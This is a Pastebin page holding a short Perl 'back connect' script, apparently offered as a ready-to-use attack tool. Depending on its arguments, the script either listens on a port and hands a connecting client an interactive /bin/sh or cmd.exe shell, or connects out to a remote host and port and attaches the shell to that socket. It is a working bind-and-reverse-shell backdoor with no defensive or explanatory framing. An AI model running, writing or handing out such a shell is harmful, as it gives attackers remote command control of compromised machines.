aljazara

Back Connect Perl

Mar 14th, 2014
189
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.87 KB | None | 0 0
  1. #!/usr/bin/env perl
  2. use IO::Socket;
  3. $os=$^O;
  4. $sh="export TERM=xterm;PS1='\$PWD\>';export PS1;/bin/sh -i";
  5. if($os=~m/win/i){$sh="%COMSPEC% /K";}
  6. $t=getprotobyname('tcp');
  7. socket(S,&PF_INET,&SOCK_STREAM,$t)||die();
  8. if(@ARGV==1){
  9.     $p=$ARGV[0];
  10.     setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
  11.     bind(S,sockaddr_in($p,INADDR_ANY))||die();
  12.     listen(S,3)||die();
  13.     accept(C,S);
  14.     send(C,"my shell : connected\n",0);
  15.     open STDIN,"<&C";open STDOUT,">&C";open STDERR,">&C";
  16.     exec $sh||die();
  17.     close(C);close(S);close(STDIN);close(STDOUT);close(STDERR);
  18.     exit 0;
  19.  
  20. }
  21. elsif(@ARGV==2){
  22.     $p=$ARGV[0];
  23.     $h=$ARGV[1];
  24.     $i=inet_aton($h)||die();
  25.     $a=sockaddr_in($p,$i)||die();
  26.     connect(S,$a)||die();
  27.     send(S,"parad0x shell : connected\n",0);
  28.     open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
  29.     exec $sh||die();
  30.     close(S);close(STDIN);close(STDOUT);close(STDERR);
  31. }
  32. else{exit(1);}
Advertisement
Add Comment
Please, Sign In to add comment